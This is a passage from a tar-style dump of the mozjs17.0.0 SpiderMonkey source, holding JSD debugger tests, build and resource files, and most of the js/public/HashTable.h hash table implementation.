onScriptDestroyed: function(script) { } } eval("4+4"); eval("4+4"); // Will be found in the eval cache } mozjs17.0.0/js/jsd/test/test_bug617870-callhooks.html0000664000175000017500000000555212106270662022136 0ustar sstanglsstangl JSD Test for Bug AUTOFILLED

mozjs17.0.0/js/jsd/test/xpcshell.ini0000664000175000017500000000013212106270662017272 0ustar sstanglsstangl[DEFAULT] head = tail = [test_jsval_retval.js] debug = 1 [test_evalCached.js] debug = 1 mozjs17.0.0/js/jsd/test/test-bug617870-callhooks.js0000664000175000017500000000273712106270662021526 0ustar sstanglsstanglg = { 'global noneval': 1 }; netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect"); eval("g['global eval'] = 1"); // Function to step through and set breakpoints on function f1() { g['function noneval'] = 1; eval("g['function eval'] = 1"); x = 1; for (y = 0; y < 10; y++) { x++; } for (y = 0; y < 3; y++) { x++; } z = 3; } var f2 = new Function("g['function noneval'] = 2; eval(\"g['function eval'] = 2\")"); function testJSD(jsd) { netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect"); ok(jsd.isOn, "JSD needs to be running for this test."); var numBreakpoints = 0; f1(); f2(); jsd.topLevelHook = null; jsd.functionHook = null; dump("numGlobalNonevals="+numGlobalNonevals+"\n"); dump("numFunctionNonevals="+numFunctionNonevals+"\n"); dump("numGlobalEvals="+numGlobalEvals+"\n"); dump("numFunctionEvals="+numFunctionEvals+"\n"); ok(numFunctionNonevals == 3, "(fn) Should have hit f1(), testJSD(), and f2(); hit " + hits.fn); ok(numGlobalNonevals == 1, "(gn) Overall script, hit " + hits.gn); ok(numGlobalEvals == 1, "(ge) Eval in global area, hit " + hits.ge); ok(numFunctionEvals == 2, "(fe) Evals within f1() and f2(), hit " + hits.fe); if (!jsdOnAtStart) { // turn JSD off if it wasn't on when this test started jsd.off(); ok(!jsd.isOn, "JSD shouldn't be running at the end of this test."); } SimpleTest.finish(); } testJSD(jsd); mozjs17.0.0/js/jsd/test/Makefile.in0000664000175000017500000000114312106270662017017 0ustar sstanglsstangl# # This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. DEPTH = @DEPTH@ topsrcdir = @top_srcdir@ srcdir = @srcdir@ VPATH = @srcdir@ relativesrcdir = @relativesrcdir@ include $(DEPTH)/config/autoconf.mk MODULE = jsdebug MOCHITEST_FILES = test_bug507448.html bug507448.js \ test_bug617870-callhooks.html test-bug617870-callhooks.js jsd-test.js \ test_bug638178-execlines.html test-bug638178-execlines.js \ $(NULL) include $(topsrcdir)/config/rules.mk mozjs17.0.0/js/jsd/jsd3240.rc0000664000175000017500000000407612106270662015422 0ustar sstanglsstangl/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //Microsoft Developer Studio generated resource script. // #include "resource.h" #define APSTUDIO_READONLY_SYMBOLS ///////////////////////////////////////////////////////////////////////////// // // Generated from the TEXTINCLUDE 2 resource. // #include "winver.h" ///////////////////////////////////////////////////////////////////////////// #undef APSTUDIO_READONLY_SYMBOLS ///////////////////////////////////////////////////////////////////////////// // // Version // VS_VERSION_INFO VERSIONINFO FILEVERSION 4,0,0,0 PRODUCTVERSION 4,0,0,0 FILEFLAGSMASK 0x3fL #ifdef _DEBUG FILEFLAGS 0x1L #else FILEFLAGS 0x0L #endif FILEOS 0x10004L FILETYPE 0x2L FILESUBTYPE 0x0L BEGIN BLOCK "StringFileInfo" BEGIN BLOCK "040904e4" BEGIN VALUE "CompanyName", "Netscape Communications Corporation\0" VALUE "FileDescription", "Netscape 32-bit JavaScript Debugger Module\0" VALUE "FileVersion", "4.0\0" VALUE "InternalName", "JSD3240\0" VALUE "LegalCopyright", "Copyright Netscape Communications. 1994-96\0" VALUE "LegalTrademarks", "Netscape, Mozilla\0" VALUE "OriginalFilename", "jsd3240.dll\0" VALUE "ProductName", "NETSCAPE\0" VALUE "ProductVersion", "4.0\0" END END BLOCK "VarFileInfo" BEGIN VALUE "Translation", 0x409, 1252 END END #ifdef APSTUDIO_INVOKED ///////////////////////////////////////////////////////////////////////////// // // TEXTINCLUDE // 1 TEXTINCLUDE DISCARDABLE BEGIN "resource.h\0" END 2 TEXTINCLUDE DISCARDABLE BEGIN "#include ""winver.h""\r\n" "\0" END 3 TEXTINCLUDE DISCARDABLE BEGIN "\r\n" "\0" END #endif // APSTUDIO_INVOKED /////////////////////////////////////////////////////////////////////////////mozjs17.0.0/js/public/0000775000175000017500000000000012124132314014461 5ustar sstanglsstanglmozjs17.0.0/js/public/HashTable.h0000664000175000017500000012705312106270662016506 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=99 ft=cpp: * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #ifndef jshashtable_h_ #define jshashtable_h_ #include "TemplateLib.h" #include "Utility.h" namespace js { class TempAllocPolicy; /*****************************************************************************/ namespace detail { template class HashTable; template class HashTableEntry { HashNumber keyHash; typedef typename tl::StripConst::result NonConstT; static const HashNumber sFreeKey = 0; static const HashNumber sRemovedKey = 1; static const HashNumber sCollisionBit = 1; template friend class HashTable; static bool isLiveHash(HashNumber hash) { return hash > sRemovedKey; } public: HashTableEntry() : keyHash(0), t() {} HashTableEntry(MoveRef rhs) : keyHash(rhs->keyHash), t(Move(rhs->t)) { } void operator=(const HashTableEntry &rhs) { keyHash = rhs.keyHash; t = rhs.t; } void operator=(MoveRef rhs) { keyHash = rhs->keyHash; t = Move(rhs->t); } NonConstT t; bool isFree() const { return keyHash == sFreeKey; } void setFree() { keyHash = sFreeKey; t = T(); } bool isRemoved() const { return keyHash == sRemovedKey; } void setRemoved() { keyHash = sRemovedKey; t = T(); } bool isLive() const { return isLiveHash(keyHash); } void setLive(HashNumber hn) { JS_ASSERT(isLiveHash(hn)); keyHash = hn; } void setCollision() { JS_ASSERT(isLive()); keyHash |= sCollisionBit; } void setCollision(HashNumber collisionBit) { JS_ASSERT(isLive()); keyHash |= collisionBit; } void unsetCollision() { keyHash &= ~sCollisionBit; } bool hasCollision() const { return keyHash & sCollisionBit; } bool matchHash(HashNumber hn) { return (keyHash & ~sCollisionBit) == hn; } HashNumber getKeyHash() const { JS_ASSERT(!hasCollision()); return keyHash; } }; /* * js::detail::HashTable is an implementation detail of the js::HashMap and * js::HashSet templates. For js::Hash{Map,Set} API documentation and examples, * skip to the end of the detail namespace. */ /* Reusable implementation of HashMap and HashSet. */ template class HashTable : private AllocPolicy { typedef typename tl::StripConst::result NonConstT; typedef typename HashPolicy::KeyType Key; typedef typename HashPolicy::Lookup Lookup; public: typedef HashTableEntry Entry; /* * A nullable pointer to a hash table element. A Ptr |p| can be tested * either explicitly |if (p.found()) p->...| or using boolean conversion * |if (p) p->...|. Ptr objects must not be used after any mutating hash * table operations unless |generation()| is tested. */ class Ptr { friend class HashTable; typedef void (Ptr::* ConvertibleToBool)(); void nonNull() {} Entry *entry; protected: Ptr(Entry &entry) : entry(&entry) {} public: /* Leaves Ptr uninitialized. */ Ptr() { #ifdef DEBUG entry = (Entry *)0xbad; #endif } bool found() const { return entry->isLive(); } operator ConvertibleToBool() const { return found() ? &Ptr::nonNull : 0; } bool operator==(const Ptr &rhs) const { JS_ASSERT(found() && rhs.found()); return entry == rhs.entry; } bool operator!=(const Ptr &rhs) const { return !(*this == rhs); } T &operator*() const { return entry->t; } T *operator->() const { return &entry->t; } }; /* A Ptr that can be used to add a key after a failed lookup. */ class AddPtr : public Ptr { friend class HashTable; HashNumber keyHash; DebugOnly mutationCount; AddPtr(Entry &entry, HashNumber hn) : Ptr(entry), keyHash(hn) {} public: /* Leaves AddPtr uninitialized. */ AddPtr() {} }; /* * A collection of hash table entries. The collection is enumerated by * calling |front()| followed by |popFront()| as long as |!empty()|. As * with Ptr/AddPtr, Range objects must not be used after any mutating hash * table operation unless the |generation()| is tested. */ class Range { protected: friend class HashTable; Range(Entry *c, Entry *e) : cur(c), end(e), validEntry(true) { while (cur < end && !cur->isLive()) ++cur; } Entry *cur, *end; DebugOnly validEntry; public: Range() : cur(NULL), end(NULL), validEntry(false) {} bool empty() const { return cur == end; } T &front() const { JS_ASSERT(validEntry); JS_ASSERT(!empty()); return cur->t; } void popFront() { JS_ASSERT(!empty()); while (++cur < end && !cur->isLive()) continue; validEntry = true; } }; /* * A Range whose lifetime delimits a mutating enumeration of a hash table. * Since rehashing when elements were removed during enumeration would be * bad, it is postponed until |endEnumeration()| is called. If * |endEnumeration()| is not called before an Enum's constructor, it will * be called automatically. Since |endEnumeration()| touches the hash * table, the user must ensure that the hash table is still alive when this * happens. */ class Enum : public Range { friend class HashTable; HashTable &table; bool rekeyed; bool removed; /* Not copyable. */ Enum(const Enum &); void operator=(const Enum &); public: template explicit Enum(Map &map) : Range(map.all()), table(map.impl), rekeyed(false), removed(false) {} /* * Removes the |front()| element from the table, leaving |front()| * invalid until the next call to |popFront()|. For example: * * HashSet s; * for (HashSet::Enum e(s); !e.empty(); e.popFront()) * if (e.front() == 42) * e.removeFront(); */ void removeFront() { table.remove(*this->cur); removed = true; this->validEntry = false; } /* * Removes the |front()| element and re-inserts it into the table with * a new key at the new Lookup position. |front()| is invalid after * this operation until the next call to |popFront()|. */ void rekeyFront(const Lookup &l, const Key &k) { typename HashTableEntry::NonConstT t = this->cur->t; HashPolicy::setKey(t, const_cast(k)); table.remove(*this->cur); table.putNewInfallible(l, t); rekeyed = true; this->validEntry = false; } void rekeyFront(const Key &k) { rekeyFront(k, k); } /* Potentially rehashes the table. */ ~Enum() { if (rekeyed) table.checkOverRemoved(); if (removed) table.checkUnderloaded(); } }; private: uint32_t hashShift; /* multiplicative hash shift */ uint32_t entryCount; /* number of entries in table */ uint32_t gen; /* entry storage generation number */ uint32_t removedCount; /* removed entry sentinels in table */ Entry *table; /* entry storage */ void setTableSizeLog2(unsigned sizeLog2) { hashShift = sHashBits - sizeLog2; } #ifdef DEBUG mutable struct Stats { uint32_t searches; /* total number of table searches */ uint32_t steps; /* hash chain links traversed */ uint32_t hits; /* searches that found key */ uint32_t misses; /* searches that didn't find key */ uint32_t addOverRemoved; /* adds that recycled a removed entry */ uint32_t removes; /* calls to remove */ uint32_t removeFrees; /* calls to remove that freed the entry */ uint32_t grows; /* table expansions */ uint32_t shrinks; /* table contractions */ uint32_t compresses; /* table compressions */ uint32_t rehashes; /* tombstone decontaminations */ } stats; # define METER(x) x #else # define METER(x) #endif friend class js::ReentrancyGuard; mutable DebugOnly entered; DebugOnly mutationCount; /* The default initial capacity is 16, but you can ask for as small as 4. */ static const unsigned sMinSizeLog2 = 2; static const unsigned sMinSize = 1 << sMinSizeLog2; static const unsigned sDefaultInitSizeLog2 = 4; public: static const unsigned sDefaultInitSize = 1 << sDefaultInitSizeLog2; private: static const unsigned sMaxInit = JS_BIT(23); static const unsigned sMaxCapacity = JS_BIT(24); static const unsigned sHashBits = tl::BitSize::result; static const uint8_t sMinAlphaFrac = 64; /* (0x100 * .25) taken from jsdhash.h */ static const uint8_t sMaxAlphaFrac = 192; /* (0x100 * .75) taken from jsdhash.h */ static const uint8_t sInvMaxAlpha = 171; /* (ceil(0x100 / .75) >> 1) */ static const HashNumber sFreeKey = Entry::sFreeKey; static const HashNumber sRemovedKey = Entry::sRemovedKey; static const HashNumber sCollisionBit = Entry::sCollisionBit; static void staticAsserts() { /* Rely on compiler "constant overflow warnings". */ JS_STATIC_ASSERT(((sMaxInit * sInvMaxAlpha) >> 7) < sMaxCapacity); JS_STATIC_ASSERT((sMaxCapacity * sInvMaxAlpha) <= UINT32_MAX); JS_STATIC_ASSERT((sMaxCapacity * sizeof(Entry)) <= UINT32_MAX); } static bool isLiveHash(HashNumber hash) { return Entry::isLiveHash(hash); } static HashNumber prepareHash(const Lookup& l) { HashNumber keyHash = ScrambleHashCode(HashPolicy::hash(l)); /* Avoid reserved hash codes. */ if (!isLiveHash(keyHash)) keyHash -= (sRemovedKey + 1); return keyHash & ~sCollisionBit; } static Entry *createTable(AllocPolicy &alloc, uint32_t capacity) { Entry *newTable = (Entry *)alloc.malloc_(capacity * sizeof(Entry)); if (!newTable) return NULL; for (Entry *e = newTable, *end = e + capacity; e < end; ++e) new(e) Entry(); return newTable; } static void destroyTable(AllocPolicy &alloc, Entry *oldTable, uint32_t capacity) { for (Entry *e = oldTable, *end = e + capacity; e < end; ++e) e->~Entry(); alloc.free_(oldTable); } public: HashTable(AllocPolicy ap) : AllocPolicy(ap), hashShift(sHashBits), entryCount(0), gen(0), removedCount(0), table(NULL), entered(false), mutationCount(0) {} MOZ_WARN_UNUSED_RESULT bool init(uint32_t length) { /* Make sure that init isn't called twice. */ JS_ASSERT(table == NULL); /* * Correct for sMaxAlphaFrac such that the table will not resize * when adding 'length' entries. */ if (length > sMaxInit) { this->reportAllocOverflow(); return false; } uint32_t capacity = (length * sInvMaxAlpha) >> 7; if (capacity < sMinSize) capacity = sMinSize; /* FIXME: use JS_CEILING_LOG2 when PGO stops crashing (bug 543034). */ uint32_t roundUp = sMinSize, roundUpLog2 = sMinSizeLog2; while (roundUp < capacity) { roundUp <<= 1; ++roundUpLog2; } capacity = roundUp; JS_ASSERT(capacity <= sMaxCapacity); table = createTable(*this, capacity); if (!table) return false; setTableSizeLog2(roundUpLog2); METER(memset(&stats, 0, sizeof(stats))); return true; } bool initialized() const { return !!table; } ~HashTable() { if (table) destroyTable(*this, table, capacity()); } private: static HashNumber hash1(HashNumber hash0, uint32_t shift) { return hash0 >> shift; } struct DoubleHash { HashNumber h2; HashNumber sizeMask; }; DoubleHash hash2(HashNumber curKeyHash, uint32_t hashShift) const { unsigned sizeLog2 = sHashBits - hashShift; DoubleHash dh = { ((curKeyHash << sizeLog2) >> hashShift) | 1, (HashNumber(1) << sizeLog2) - 1 }; return dh; } static HashNumber applyDoubleHash(HashNumber h1, const DoubleHash &dh) { return (h1 - dh.h2) & dh.sizeMask; } bool overloaded() { return entryCount + removedCount >= ((sMaxAlphaFrac * capacity()) >> 8); } bool underloaded() { uint32_t tableCapacity = capacity(); return tableCapacity > sMinSize && entryCount <= ((sMinAlphaFrac * tableCapacity) >> 8); } static bool match(Entry &e, const Lookup &l) { return HashPolicy::match(HashPolicy::getKey(e.t), l); } Entry &lookup(const Lookup &l, HashNumber keyHash, unsigned collisionBit) const { JS_ASSERT(isLiveHash(keyHash)); JS_ASSERT(!(keyHash & sCollisionBit)); JS_ASSERT(collisionBit == 0 || collisionBit == sCollisionBit); JS_ASSERT(table); METER(stats.searches++); /* Compute the primary hash address. */ HashNumber h1 = hash1(keyHash, hashShift); Entry *entry = &table[h1]; /* Miss: return space for a new entry. */ if (entry->isFree()) { METER(stats.misses++); return *entry; } /* Hit: return entry. */ if (entry->matchHash(keyHash) && match(*entry, l)) { METER(stats.hits++); return *entry; } /* Collision: double hash. */ DoubleHash dh = hash2(keyHash, hashShift); /* Save the first removed entry pointer so we can recycle later. */ Entry *firstRemoved = NULL; while(true) { if (JS_UNLIKELY(entry->isRemoved())) { if (!firstRemoved) firstRemoved = entry; } else { entry->setCollision(collisionBit); } METER(stats.steps++); h1 = applyDoubleHash(h1, dh); entry = &table[h1]; if (entry->isFree()) { METER(stats.misses++); return firstRemoved ? *firstRemoved : *entry; } if (entry->matchHash(keyHash) && match(*entry, l)) { METER(stats.hits++); return *entry; } } } /* * This is a copy of lookup hardcoded to the assumptions: * 1. the lookup is a lookupForAdd * 2. the key, whose |keyHash| has been passed is not in the table, * 3. no entries have been removed from the table. * This specialized search avoids the need for recovering lookup values * from entries, which allows more flexible Lookup/Key types. */ Entry &findFreeEntry(HashNumber keyHash) { JS_ASSERT(!(keyHash & sCollisionBit)); JS_ASSERT(table); METER(stats.searches++); /* N.B. the |keyHash| has already been distributed. */ /* Compute the primary hash address. */ HashNumber h1 = hash1(keyHash, hashShift); Entry *entry = &table[h1]; /* Miss: return space for a new entry. */ if (!entry->isLive()) { METER(stats.misses++); return *entry; } /* Collision: double hash. */ DoubleHash dh = hash2(keyHash, hashShift); while(true) { JS_ASSERT(!entry->isRemoved()); entry->setCollision(); METER(stats.steps++); h1 = applyDoubleHash(h1, dh); entry = &table[h1]; if (!entry->isLive()) { METER(stats.misses++); return *entry; } } } enum RebuildStatus { NotOverloaded, Rehashed, RehashFailed }; RebuildStatus changeTableSize(int deltaLog2) { /* Look, but don't touch, until we succeed in getting new entry store. */ Entry *oldTable = table; uint32_t oldCap = capacity(); uint32_t newLog2 = sHashBits - hashShift + deltaLog2; uint32_t newCapacity = JS_BIT(newLog2); if (newCapacity > sMaxCapacity) { this->reportAllocOverflow(); return RehashFailed; } Entry *newTable = createTable(*this, newCapacity); if (!newTable) return RehashFailed; /* We can't fail from here on, so update table parameters. */ setTableSizeLog2(newLog2); removedCount = 0; gen++; table = newTable; /* Copy only live entries, leaving removed ones behind. */ for (Entry *src = oldTable, *end = src + oldCap; src < end; ++src) { if (src->isLive()) { src->unsetCollision(); findFreeEntry(src->getKeyHash()) = Move(*src); } } destroyTable(*this, oldTable, oldCap); return Rehashed; } RebuildStatus checkOverloaded() { if (!overloaded()) return NotOverloaded; /* Compress if a quarter or more of all entries are removed. */ int deltaLog2; if (removedCount >= (capacity() >> 2)) { METER(stats.compresses++); deltaLog2 = 0; } else { METER(stats.grows++); deltaLog2 = 1; } return changeTableSize(deltaLog2); } /* Infallibly rehash the table if we are overloaded with removals. */ void checkOverRemoved() { if (overloaded()) { METER(stats.rehashes++); rehashTable(); JS_ASSERT(!overloaded()); } } void remove(Entry &e) { JS_ASSERT(table); METER(stats.removes++); if (e.hasCollision()) { e.setRemoved(); removedCount++; } else { METER(stats.removeFrees++); e.setFree(); } entryCount--; mutationCount++; } void checkUnderloaded() { if (underloaded()) { METER(stats.shrinks++); (void) changeTableSize(-1); } } /* * This is identical to changeTableSize(currentSize), but without requiring * a second table. We do this by recycling the collision bits to tell us if * the element is already inserted or still waiting to be inserted. Since * already-inserted elements win any conflicts, we get the same table as we * would have gotten through random insertion order. */ void rehashTable() { removedCount = 0; for (size_t i = 0; i < capacity(); ++i) table[i].unsetCollision(); for (size_t i = 0; i < capacity();) { Entry *src = &table[i]; if (!src->isLive() || src->hasCollision()) { ++i; continue; } HashNumber keyHash = src->getKeyHash(); HashNumber h1 = hash1(keyHash, hashShift); DoubleHash dh = hash2(keyHash, hashShift); Entry *tgt = &table[h1]; while (true) { if (!tgt->hasCollision()) { Swap(*src, *tgt); tgt->setCollision(); break; } h1 = applyDoubleHash(h1, dh); tgt = &table[h1]; } } /* * TODO: this algorithm leaves collision bits on *all* elements, even if * they are on no collision path. We have the option of setting the * collision bits correctly on a subsequent pass or skipping the rehash * unless we are totally filled with tombstones: benchmark to find out * which approach is best. */ } public: void clear() { if (tl::IsPodType::result) { memset(table, 0, sizeof(*table) * capacity()); } else { uint32_t tableCapacity = capacity(); for (Entry *e = table, *end = table + tableCapacity; e < end; ++e) *e = Move(Entry()); } removedCount = 0; entryCount = 0; mutationCount++; } void finish() { JS_ASSERT(!entered); if (!table) return; destroyTable(*this, table, capacity()); table = NULL; gen++; entryCount = 0; removedCount = 0; mutationCount++; } Range all() const { JS_ASSERT(table); return Range(table, table + capacity()); } bool empty() const { JS_ASSERT(table); return !entryCount; } uint32_t count() const { JS_ASSERT(table); return entryCount; } uint32_t capacity() const { JS_ASSERT(table); return JS_BIT(sHashBits - hashShift); } uint32_t generation() const { JS_ASSERT(table); return gen; } size_t sizeOfExcludingThis(JSMallocSizeOfFun mallocSizeOf) const { return mallocSizeOf(table); } size_t sizeOfIncludingThis(JSMallocSizeOfFun mallocSizeOf) const { return mallocSizeOf(this) + sizeOfExcludingThis(mallocSizeOf); } Ptr lookup(const Lookup &l) const { ReentrancyGuard g(*this); HashNumber keyHash = prepareHash(l); return Ptr(lookup(l, keyHash, 0)); } AddPtr lookupForAdd(const Lookup &l) const { ReentrancyGuard g(*this); HashNumber keyHash = prepareHash(l); Entry &entry = lookup(l, keyHash, sCollisionBit); AddPtr p(entry, keyHash); p.mutationCount = mutationCount; return p; } bool add(AddPtr &p) { ReentrancyGuard g(*this); JS_ASSERT(mutationCount == p.mutationCount); JS_ASSERT(table); JS_ASSERT(!p.found()); JS_ASSERT(!(p.keyHash & sCollisionBit)); /* * Changing an entry from removed to live does not affect whether we * are overloaded and can be handled separately. */ if (p.entry->isRemoved()) { METER(stats.addOverRemoved++); removedCount--; p.keyHash |= sCollisionBit; } else { /* Preserve the validity of |p.entry|. */ RebuildStatus status = checkOverloaded(); if (status == RehashFailed) return false; if (status == Rehashed) p.entry = &findFreeEntry(p.keyHash); } p.entry->setLive(p.keyHash); entryCount++; mutationCount++; return true; } /* * There is an important contract between the caller and callee for this * function: if add() returns true, the caller must assign the T value * which produced p before using the hashtable again. */ bool add(AddPtr &p, T** pentry) { if (!add(p)) return false; *pentry = &p.entry->t; return true; } bool add(AddPtr &p, const T &t) { if (!add(p)) return false; p.entry->t = t; return true; } void putNewInfallible(const Lookup &l, const T &t) { JS_ASSERT(table); HashNumber keyHash = prepareHash(l); Entry *entry = &findFreeEntry(keyHash); if (entry->isRemoved()) { METER(stats.addOverRemoved++); removedCount--; keyHash |= sCollisionBit; } entry->t = t; entry->setLive(keyHash); entryCount++; mutationCount++; } bool putNew(const Lookup &l, const T &t) { if (checkOverloaded() == RehashFailed) return false; putNewInfallible(l, t); return true; } bool relookupOrAdd(AddPtr& p, const Lookup &l, const T& t) { p.mutationCount = mutationCount; { ReentrancyGuard g(*this); p.entry = &lookup(l, p.keyHash, sCollisionBit); } return p.found() || add(p, t); } void remove(Ptr p) { JS_ASSERT(table); ReentrancyGuard g(*this); JS_ASSERT(p.found()); remove(*p.entry); checkUnderloaded(); } #undef METER }; } /* namespace detail */ /*****************************************************************************/ /* * Hash policy * * A hash policy P for a hash table with key-type Key must provide: * - a type |P::Lookup| to use to lookup table entries; * - a static member function |P::hash| with signature * * static js::HashNumber hash(Lookup) * * to use to hash the lookup type; and * - a static member function |P::match| with signature * * static bool match(Key, Lookup) * * to use to test equality of key and lookup values. * * Normally, Lookup = Key. In general, though, different values and types of * values can be used to lookup and store. If a Lookup value |l| is != to the * added Key value |k|, the user must ensure that |P::match(k,l)|. E.g.: * * js::HashSet::AddPtr p = h.lookup(l); * if (!p) { * assert(P::match(k, l)); // must hold * h.add(p, k); * } */ /* Default hashing policies. */ template struct DefaultHasher { typedef Key Lookup; static HashNumber hash(const Lookup &l) { /* Hash if can implicitly cast to hash number type. */ return l; } static bool match(const Key &k, const Lookup &l) { /* Use builtin or overloaded operator==. */ return k == l; } }; /* * Pointer hashing policy that strips the lowest zeroBits when calculating the * hash to improve key distribution. */ template struct PointerHasher { typedef Key Lookup; static HashNumber hash(const Lookup &l) { size_t word = reinterpret_cast(l) >> zeroBits; JS_STATIC_ASSERT(sizeof(HashNumber) == 4); #if JS_BYTES_PER_WORD == 4 return HashNumber(word); #else JS_STATIC_ASSERT(sizeof word == 8); return HashNumber((word >> 32) ^ word); #endif } static bool match(const Key &k, const Lookup &l) { return k == l; } }; template struct TaggedPointerHasher { typedef Key Lookup; static HashNumber hash(const Lookup &l) { return PointerHasher::hash(l); } static const uintptr_t COMPARE_MASK = uintptr_t(-1) - 1; static bool match(const Key &k, const Lookup &l) { return (uintptr_t(k) & COMPARE_MASK) == uintptr_t(l); } }; /* * Specialized hashing policy for pointer types. It assumes that the type is * at least word-aligned. For types with smaller size use PointerHasher. */ template struct DefaultHasher: PointerHasher::result> { }; /* Looking for a hasher for jsid? Try the DefaultHasher in jsatom.h. */ template class HashMapEntry { template friend class detail::HashTable; template friend class detail::HashTableEntry; void operator=(const HashMapEntry &rhs) { const_cast(key) = rhs.key; value = rhs.value; } public: HashMapEntry() : key(), value() {} template HashMapEntry(const KeyInput &k, const ValueInput &v) : key(k), value(v) {} HashMapEntry(MoveRef rhs) : key(Move(rhs->key)), value(Move(rhs->value)) { } void operator=(MoveRef rhs) { const_cast(key) = Move(rhs->key); value = Move(rhs->value); } const Key key; Value value; }; namespace tl { template struct IsPodType > { static const bool result = IsPodType::result; }; template struct IsPodType > { static const bool result = IsPodType::result && IsPodType::result; }; } /* namespace tl */ /* * JS-friendly, STL-like container providing a hash-based map from keys to * values. In particular, HashMap calls constructors and destructors of all * objects added so non-PODs may be used safely. * * Key/Value requirements: * - default constructible, copyable, destructible, assignable * HashPolicy requirements: * - see "Hash policy" above (default js::DefaultHasher) * AllocPolicy: * - see "Allocation policies" in jsalloc.h * * N.B: HashMap is not reentrant: Key/Value/HashPolicy/AllocPolicy members * called by HashMap must not call back into the same HashMap object. * N.B: Due to the lack of exception handling, the user must call |init()|. */ template , class AllocPolicy = TempAllocPolicy> class HashMap { typedef typename tl::StaticAssert::result>::result keyAssert; typedef typename tl::StaticAssert::result>::result valAssert; public: typedef typename HashPolicy::Lookup Lookup; typedef HashMapEntry Entry; private: /* Implement HashMap using HashTable. Lift |Key| operations to |Entry|. */ struct MapHashPolicy : HashPolicy { typedef Key KeyType; static const Key &getKey(Entry &e) { return e.key; } static void setKey(Entry &e, Key &k) { const_cast(e.key) = k; } }; typedef detail::HashTable Impl; friend class Impl::Enum; /* Not implicitly copyable (expensive). May add explicit |clone| later. */ HashMap(const HashMap &); HashMap &operator=(const HashMap &); Impl impl; public: const static unsigned sDefaultInitSize = Impl::sDefaultInitSize; /* * HashMap construction is fallible (due to OOM); thus the user must call * init after constructing a HashMap and check the return value. */ HashMap(AllocPolicy a = AllocPolicy()) : impl(a) {} bool init(uint32_t len = sDefaultInitSize) { return impl.init(len); } bool initialized() const { return impl.initialized(); } /* * Return whether the given lookup value is present in the map. E.g.: * * typedef HashMap HM; * HM h; * if (HM::Ptr p = h.lookup(3)) { * const HM::Entry &e = *p; // p acts like a pointer to Entry * assert(p->key == 3); // Entry contains the key * char val = p->value; // and value * } * * Also see the definition of Ptr in HashTable above (with T = Entry). */ typedef typename Impl::Ptr Ptr; Ptr lookup(const Lookup &l) const { return impl.lookup(l); } /* Assuming |p.found()|, remove |*p|. */ void remove(Ptr p) { impl.remove(p); } /* * Like |lookup(l)|, but on miss, |p = lookupForAdd(l)| allows efficient * insertion of Key |k| (where |HashPolicy::match(k,l) == true|) using * |add(p,k,v)|. After |add(p,k,v)|, |p| points to the new Entry. E.g.: * * typedef HashMap HM; * HM h; * HM::AddPtr p = h.lookupForAdd(3); * if (!p) { * if (!h.add(p, 3, 'a')) * return false; * } * const HM::Entry &e = *p; // p acts like a pointer to Entry * assert(p->key == 3); // Entry contains the key * char val = p->value; // and value * * Also see the definition of AddPtr in HashTable above (with T = Entry). * * N.B. The caller must ensure that no mutating hash table operations * occur between a pair of |lookupForAdd| and |add| calls. To avoid * looking up the key a second time, the caller may use the more efficient * relookupOrAdd method. This method reuses part of the hashing computation * to more efficiently insert the key if it has not been added. For * example, a mutation-handling version of the previous example: * * HM::AddPtr p = h.lookupForAdd(3); * if (!p) { * call_that_may_mutate_h(); * if (!h.relookupOrAdd(p, 3, 'a')) * return false; * } * const HM::Entry &e = *p; * assert(p->key == 3); * char val = p->value; */ typedef typename Impl::AddPtr AddPtr; AddPtr lookupForAdd(const Lookup &l) const { return impl.lookupForAdd(l); } template bool add(AddPtr &p, const KeyInput &k, const ValueInput &v) { Entry *pentry; if (!impl.add(p, &pentry)) return false; const_cast(pentry->key) = k; pentry->value = v; return true; } bool add(AddPtr &p, const Key &k, MoveRef v) { Entry *pentry; if (!impl.add(p, &pentry)) return false; const_cast(pentry->key) = k; pentry->value = v; return true; } bool add(AddPtr &p, const Key &k) { Entry *pentry; if (!impl.add(p, &pentry)) return false; const_cast(pentry->key) = k; return true; } template bool relookupOrAdd(AddPtr &p, const KeyInput &k, const ValueInput &v) { return impl.relookupOrAdd(p, k, Entry(k, v)); } /* * |all()| returns a Range containing |count()| elements. E.g.: * * typedef HashMap HM; * HM h; * for (HM::Range r = h.all(); !r.empty(); r.popFront()) * char c = r.front().value; * * Also see the definition of Range in HashTable above (with T = Entry). */ typedef typename Impl::Range Range; Range all() const { return impl.all(); } uint32_t count() const { return impl.count(); } size_t capacity() const { return impl.capacity(); } size_t sizeOfExcludingThis(JSMallocSizeOfFun mallocSizeOf) const { return impl.sizeOfExcludingThis(mallocSizeOf); } size_t sizeOfIncludingThis(JSMallocSizeOfFun mallocSizeOf) const { /* * Don't just call |impl.sizeOfExcludingThis()| because there's no * guarantee that |impl| is the first field in HashMap. */ return mallocSizeOf(this) + impl.sizeOfExcludingThis(mallocSizeOf); } /* * Typedef for the enumeration class. An Enum may be used to examine and * remove table entries: * * typedef HashMap HM; * HM s; * for (HM::Enum e(s); !e.empty(); e.popFront()) * if (e.front().value == 'l') * e.removeFront(); * * Table resize may occur in Enum's destructor. Also see the definition of * Enum in HashTable above (with T = Entry). */ typedef typename Impl::Enum Enum; /* * Remove all entries. This does not shrink the table. For that consider * using the finish() method. */ void clear() { impl.clear(); } /* * Remove all the entries and release all internal buffers. The map must * be initialized again before any use. */ void finish() { impl.finish(); } /* Does the table contain any entries? */ bool empty() const { return impl.empty(); } /* * If |generation()| is the same before and after a HashMap operation, * pointers into the table remain valid. */ unsigned generation() const { return impl.generation(); } /* Shorthand operations: */ bool has(const Lookup &l) const { return impl.lookup(l) != NULL; } /* Overwrite existing value with v. Return false on oom. */ template bool put(const KeyInput &k, const ValueInput &v) { AddPtr p = lookupForAdd(k); if (p) { p->value = v; return true; } return 